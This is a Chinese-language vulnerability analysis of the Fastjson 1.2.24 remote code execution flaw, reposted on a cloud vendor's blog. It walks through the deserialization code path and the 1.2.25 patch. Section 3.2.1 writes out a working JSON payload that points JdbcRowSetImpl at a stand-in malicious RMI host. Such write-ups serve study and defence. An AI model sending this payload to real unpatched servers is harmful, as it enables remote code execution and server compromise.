溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

發(fā)布時(shí)間:2021-12-14 10:04:49 來(lái)源:億速云 閱讀:152 作者:柒染 欄目:網(wǎng)絡(luò)管理

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

1.漏洞信息

1.1 漏洞簡(jiǎn)介

漏洞名稱:Fastjson 1.2.24 Remote Code Execution (com.sun.rowset.JdbcRowSetImpl)

漏洞編號(hào):無(wú)

漏洞類型:Remote Code Execution

CVSS評(píng)分:無(wú)

漏洞危害等級(jí):高危

1.2 組件概述

Fastjson是一個(gè)Java語(yǔ)言編寫的高性能功能完善的JSON庫(kù)。它采用一種“假定有序快速匹配”的算法,把JSON Parse的性能提升到極致,是目前Java語(yǔ)言中最快的JSON庫(kù)。Fastjson接口簡(jiǎn)單易用,已經(jīng)被廣泛使用在緩存序列化、協(xié)議交互、Web輸出、Android客戶端等多種應(yīng)用場(chǎng)景。下圖是Fastjson組件中的反序列化流程。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

1.3 漏洞概述

漏洞是利用fastjson autotype在處理json對(duì)象的時(shí)候,未對(duì)@type字段進(jìn)行完全的安全性驗(yàn)證,攻擊者可以傳入危險(xiǎn)類,并調(diào)用危險(xiǎn)類連接遠(yuǎn)程rmi主機(jī),通過(guò)其中的惡意類執(zhí)行代碼。攻擊者通過(guò)這種方式可以實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行漏洞的利用,獲取服務(wù)器的敏感信息泄露,甚至可以利用此漏洞進(jìn)一步對(duì)服務(wù)器數(shù)據(jù)進(jìn)行修改,增加,刪除等操作,對(duì)服務(wù)器造成巨大的影響。

1.4 漏洞利用條件

無(wú)

1.5 漏洞影響

影響版本: Fastjson < 1.2.25

1.6 漏洞修復(fù)

獲取Fastjson最新版本,下載鏈接:https://github.com/alibaba/fastjson

2.漏洞復(fù)現(xiàn)

2.1 環(huán)境拓?fù)?/h4>

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

2.2 應(yīng)用協(xié)議

8080/HTTP

2.3 復(fù)現(xiàn)過(guò)程

基于Windows平臺(tái),使用環(huán)境目錄下的fastjsondemo環(huán)境,拷貝后使用Idea打開fastjsondemo文件夾,下載maven資源,運(yùn)行DemoApplication類,即可啟動(dòng)環(huán)境。效果如圖。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

運(yùn)行sniper工具箱,填寫表單信息,點(diǎn)擊Attack,效果如圖。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

3.漏洞分析

3.1 技術(shù)背景

JavaBean:

JavaBean 是特殊的 Java 類,使用 Java 語(yǔ)言書寫,并且遵守 JavaBean API 規(guī)范。JavaBean的特征:

提供一個(gè)默認(rèn)的無(wú)參構(gòu)造函數(shù)。

需要被序列化并且實(shí)現(xiàn)了 Serializable 接口。

可能有一系列可讀寫屬性。

可能有一系列的 getter 或 setter 方法。

方法描述
getPropertyName()舉例來(lái)說(shuō),如果屬性的名稱為 myName,那么這個(gè)方法的名字就要寫成 getMyName() 來(lái)讀取這個(gè)屬性。這個(gè)方法也稱為訪問器。
setPropertyName()舉例來(lái)說(shuō),如果屬性的名稱為 myName,那么這個(gè)方法的名字就要寫成 setMyName()來(lái)寫入這個(gè)屬性。這個(gè)方法也稱為寫入器。

程序?qū)嵗?/strong>

public class StudentsBean implements java.io.Serializable
{
private String firstName = null;
private String lastName = null;
private int age = 0;

public StudentsBean() {
}
public String getFirstName(){
return firstName;
}
public String getLastName(){
return lastName;
}
public int getAge(){
return age;
}

public void setFirstName(String firstName){
this.firstName = firstName;
}
public void setLastName(String lastName){
this.lastName = lastName;
}
public void setAge(int age) {
this.age = age;
}
}

3.2 詳細(xì)分析

3.2.1 漏洞利用過(guò)程

首先在本地開啟惡意的rmi服務(wù)(rmi://evilserver:1099),并綁定惡意類(evilobj),惡意類中存放著可以執(zhí)行任意命令的java程序。找到fastjson組件入口(一般是傳json字符串的地方),傳入{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true},即可完成漏洞利用。

3.2.2 代碼分析

Fastjson通過(guò)parseObject方法解析傳入的json數(shù)據(jù)。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用DefaultJSONParser缺省方法對(duì)json格式數(shù)據(jù)進(jìn)行解析。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在方法的參數(shù)中,調(diào)用ParserConfig.getGlobalInstance()方法獲取ParserConfig類中的初始配置,其中黑名單(denyList)也在此類中進(jìn)行配置。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用addDeny方法循環(huán)添加denyList數(shù)組中的黑名單。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser方法,初始化結(jié)束后,調(diào)用JSONScanner方法對(duì)傳入的json字符串設(shè)置讀取位置,判斷過(guò)程中處理Unicode字符集的BOM標(biāo)識(shí)。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser方法,為token賦值。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到JSON入口類,獲取到DefaultJSONParser類型對(duì)象,調(diào)用parse()方法進(jìn)行解析。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在parse方法中,通過(guò)判斷l(xiāng)exer.token(),進(jìn)入對(duì)應(yīng)的代碼塊。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用JSONObject構(gòu)造方法,初始化JSONObject類中的map屬性。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser#parse方法,調(diào)用parseObject方法,對(duì)傳入的json數(shù)據(jù)進(jìn)行字節(jié)讀取。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

一般會(huì)讀取json字符串中的雙引號(hào)進(jìn)入scanSymbol方法中,在scanSymbol方法中計(jì)算字符串的hash。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用addSymbol方法,將鍵名添加到SymbolTable中。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser#parseObject方法中,判斷key值是否為@type。如果是,則進(jìn)入if判斷條件下的代碼塊中。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用scanSymbol方法,以雙引號(hào)作為quote變量值,進(jìn)行@typejson字段值的value讀取。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

獲得@type的鍵值,調(diào)用addSymbol方法,將@type的字段值添加到SymbolTable中。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser#parseObject方法中,調(diào)用TypeUtils.loadClass方法進(jìn)行類加載操作。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入loadClass方法中,首先會(huì)在現(xiàn)有的mappings中尋找從@type傳入的classname。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

如果在原有的mappings中沒有記錄傳入的classname,則調(diào)用contextClassLoader.loadClass獲取AppClassLoader類加載器,并加載到mappings中與@type傳入的類進(jìn)行關(guān)聯(lián),最后返回clazz對(duì)象。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser#parseObject方法中,調(diào)用this.config.getDeserializer(clazz)獲取反序列化器。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入getDeserializer方法中,首先現(xiàn)有的IdentityHashMap中進(jìn)行hash匹配,如果無(wú)法匹配,則進(jìn)入第二個(gè)if判斷條件中重載getDeserializer方法,繼續(xù)獲取反序列化器。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

getDeserializer(Class<?> clazz, Type type)方法中,首先依然會(huì)與現(xiàn)有的IdentityHashMap中進(jìn)行hash匹配。如果無(wú)法匹配,會(huì)事先進(jìn)行黑名單匹配,在調(diào)用ServiceLoader.load判斷META-INF/services/下是否存在傳入的classname類。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

如果沒有尋找到對(duì)應(yīng)的類,則判斷傳入的classname是否是繼承java.lang.Enum、是否是array類型選擇對(duì)應(yīng)的反序列化器生成方法。如果上述條件不滿足,則繼續(xù)判斷傳入的classname是否為Set、HashSet、Collection、List、ArrayList,如果不是則繼續(xù)判斷classname是否繼承Collection,Map,Throwable接口。如果上述條件都不滿足,則調(diào)用createJavaBeanDeserializer方法生成JavaBean反序列化器。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入createJavaBeanDeserializer方法,判斷asmEnable是否為true,調(diào)用JavaBeanInfo.build方法建立JavaBean。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

建立JavaBean過(guò)程中,通過(guò)反射機(jī)制獲取傳入的class中所有的屬性,方法,并保存在數(shù)組中。選擇一個(gè)無(wú)參構(gòu)造函數(shù)作為默認(rèn)的構(gòu)造函數(shù)。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

循環(huán)遍歷method數(shù)組中的方法,并從中選取符合條件的方法。(條件:同時(shí)滿足方法名長(zhǎng)度大于4;非靜態(tài)方法;方法類型為Void?;蛘叻椒愋团c方法所在類相同)怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

再?gòu)暮Y選的規(guī)則中繼續(xù)篩選出形參數(shù)量為1的方法。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

再?gòu)暮Y選出的方法中獲取以set方法開頭的方法,并檢測(cè)JavaBean的方法命名規(guī)范,篩選出符合規(guī)范的方法。調(diào)用TypeUtils.getField方法獲取與set方法對(duì)應(yīng)的屬性值。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入getField方法中,遍歷@type傳入的class以及其父類的所有屬性值,返回尋找到屬性。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

最終調(diào)用add方法,將獲取的Field屬性保存到fieldList列表中。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

再以相同的流程篩選出存在get方法的屬性值,如果篩選出的filed屬性值不在fieldList,則添加到fieldList列表中。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用JavaBeanInfo方法對(duì)JavaBeanInfo中的屬性進(jìn)行初始化,并返回實(shí)例化對(duì)象。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到ParserConfig#createJavaBeanDeserializer方法中,獲取到beanInfo對(duì)象,并從beaninfo中取出defaultConstructor默認(rèn)構(gòu)造器、field屬性。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

通過(guò)檢測(cè)fieldClass屬性值,為asmEnable標(biāo)志位賦值

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

根據(jù)asmEnable標(biāo)志位,進(jìn)行if條件判斷,調(diào)用JavaBeanInfo.build方法,并返回beanInfo對(duì)象。再調(diào)用ASMDeserializerFactory#createJavaBeanDeserializer方法生成反序列化器。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入ASMDeserializerFactory#createJavaBeanDeserializer方法中,通過(guò)ASM生成class文件的字節(jié)流,調(diào)用newInstance方法進(jìn)行實(shí)例化,返回實(shí)例化對(duì)象。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在實(shí)例化過(guò)程中,會(huì)將beaninfo中的屬性賦值給JavaBeanDeserializer類中的filed反序列化器。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到ParserConfig#getDeserializer方法,調(diào)用putDeserializer方法,將生成的反序列化器與@type傳入的class類進(jìn)行關(guān)聯(lián),最后返回反序列化器怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到DefaultJSONParser#parseObject方法,調(diào)用deserializer.deserialze方法進(jìn)行反序列化。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

反序列化過(guò)程中,調(diào)用JSONScanner類中與field類型對(duì)應(yīng)的方法,從傳入的json字符串中找到屬性的value值。(例如下圖中,使用scanFieldString方法處理String類型方法)怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用charArrayCompare判斷傳入的json字符串中,是否存在選中的field的value。如果存在,則通過(guò)閉合的雙引號(hào)定位傳入?yún)?shù)長(zhǎng)度,并提取鍵值對(duì)中的value。通過(guò)判斷雙引號(hào)之后的符號(hào),判斷當(dāng)前json解析狀態(tài)(返回不同的token值)怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

再調(diào)用JavaBeanDeserializer#parseRest方法,通過(guò)token值進(jìn)入對(duì)應(yīng)的代碼塊,從生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并從取出屬性值

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

與上述反序列化流程中第一次取屬性值流程相同,根據(jù)屬性類型,選擇對(duì)應(yīng)的方法進(jìn)行解析。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

調(diào)用setValue方法將json中傳入的屬性值,傳入到class實(shí)例化對(duì)象中,為其內(nèi)部屬性賦值。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在賦值過(guò)程中會(huì)通過(guò)反射,調(diào)用屬性值對(duì)應(yīng)的set方法怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入connect方法中調(diào)用lookup方法,形參中的getDataSourceName()方法會(huì)獲取之前已經(jīng)從json解析并賦值的dataSource屬性,獲取惡意rmi服務(wù)。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入InitialContext.lookup()方法解析之后的流程,就是JNDI注入攻擊流程。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

先進(jìn)入getURLOrDefaultInitCtx方法進(jìn)行獲取上下文,根據(jù)傳入的url協(xié)議,獲取對(duì)應(yīng)的上下文對(duì)象。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

實(shí)例化RegistryContext對(duì)象,調(diào)用getRegistry方法獲取遠(yuǎn)程注冊(cè)中心的綁定對(duì)象。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在獲取遠(yuǎn)程對(duì)象的過(guò)程中,調(diào)用TCPEndpoint()方法,為L(zhǎng)iveRef內(nèi)部ed屬性賦予遠(yuǎn)程終端ip及端口信息。調(diào)用UnicastRef,獲取RemoteRef類型的遠(yuǎn)程對(duì)象。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

進(jìn)入createProxy方法獲取并返回RegistryImpl stub。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到com.sun.jndi.rmi.registry.RegistryContext,將RegistryImpl_Stub對(duì)象賦予給registry屬性。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

回到GenericURLContext#lookup方法中,調(diào)用Registry.lookup方法。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在lookup方法中調(diào)用registry.lookup()方法,由于之前已經(jīng)將RegistryImpl_Stub賦值給registry,直接進(jìn)入RegistryImpl_Stub.lookup()方法中。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

在RegistryImpl_Stub#lookup方法中,調(diào)用ref.newCall方法獲取基于ref的RemoteCall類型的遠(yuǎn)程調(diào)用對(duì)象。并將訪問遠(yuǎn)程rmi服務(wù)上的類名進(jìn)行序列化,調(diào)用invoke方法傳給遠(yuǎn)程服務(wù)。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

之后將從遠(yuǎn)程獲取的序列化數(shù)據(jù)進(jìn)行反序列化,執(zhí)行惡意序列化中的惡意命令。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

3.2.3補(bǔ)丁分析

Fastjson1.2.25版本新增了checkAutoType方法,設(shè)置了autotype開關(guān),對(duì)@type字段進(jìn)行限制。如果autotype開關(guān)關(guān)閉,則無(wú)法從@type字段傳入類進(jìn)行jndi攻擊。

怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

增加了黑名單中的類,對(duì)fastjson的gadget進(jìn)行攔截。怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析

上述就是小編為大家分享的怎樣實(shí)現(xiàn)Fastjson 1.2.24遠(yuǎn)程代碼執(zhí)行漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI